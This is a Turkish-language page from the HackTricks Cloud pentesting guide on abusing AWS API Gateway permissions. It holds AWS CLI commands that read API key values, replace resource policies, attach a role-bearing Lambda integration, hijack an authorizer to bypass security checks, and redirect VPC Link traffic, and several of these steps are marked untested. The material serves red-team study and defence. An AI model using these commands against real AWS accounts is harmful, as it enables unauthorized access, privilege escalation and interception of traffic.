AWS - Apigateway Privesc

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Apigateway

Daha fazla bilgi için kontrol edin:

urlhttps://github.com/carlospolop/hacktricks-cloud/blob/tr/pentesting-cloud/aws-security/aws-hizmetleri/aws-api-gateway-enum.md

apigateway:POST

Bu izinle yapılandırılmış API'lerin (bölgeye göre) API anahtarlarını oluşturabilirsiniz.

aws --region <region> apigateway create-api-key

Potansiyel Etki: Bu teknikle bir ayrıcalık yükseltemezsiniz, ancak hassas bilgilere erişebilirsiniz.

apigateway:GET

Bu izinle yapılandırılmış API'ların (bölgeye göre) oluşturulan API anahtarlarını alabilirsiniz.

aws --region apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Potansiyel Etki: Bu teknikle bir ayrıcalık yükseltemezsiniz, ancak hassas bilgilere erişebilirsiniz.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Bu izinlerle bir API'nin kaynak politikasını değiştirmek mümkündür, böylece API'yi çağırmak ve API ağ geçidinin sahip olabileceği potansiyel erişimi kötüye kullanmak mümkün olabilir (örneğin, zafiyete sahip bir lambda işlevini çağırmak).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Potansiyel Etki: Genellikle, bu teknikle doğrudan bir ayrıcalık yükseltme yapamazsınız, ancak hassas bilgilere erişebilirsiniz.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Test edilmesi gerekiyor

apigateway:PutIntegration, apigateway:CreateDeployment ve iam:PassRole izinlerine sahip bir saldırgan, bir IAM rolüne bağlı olan bir Lambda işlevi ile mevcut bir API Gateway REST API'sine yeni bir entegrasyon ekleyebilir. Saldırgan daha sonra Lambda işlevini tetikleyerek keyfi kodu yürütebilir ve IAM rolü ile ilişkili kaynaklara erişim elde edebilir.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potansiyel Etki: Lambda fonksiyonunun IAM rolü ile ilişkili kaynaklara erişim.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Test edilmesi gerekmektedir.

apigateway:UpdateAuthorizer ve apigateway:CreateDeployment izinlerine sahip bir saldırgan, mevcut bir API Gateway yetkilendiricisini değiştirerek güvenlik kontrollerini atlayabilir veya API istekleri yapıldığında keyfi kodu çalıştırabilir.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potansiyel Etki: Güvenlik kontrollerini atlatma, API kaynaklarına izinsiz erişim.

Test edilmesi gerekmektedir

apigateway:UpdateVpcLink iznine sahip bir saldırgan, mevcut bir VPC Bağlantısını değiştirerek özel API trafiğini yetkisiz veya zararlı kaynaklara yönlendirebilir.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Potansiyel Etki: Yetkisiz erişimle özel API kaynaklarına erişim, API trafiğinin dinlenmesi veya kesintiye uğratılması.

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

Last updated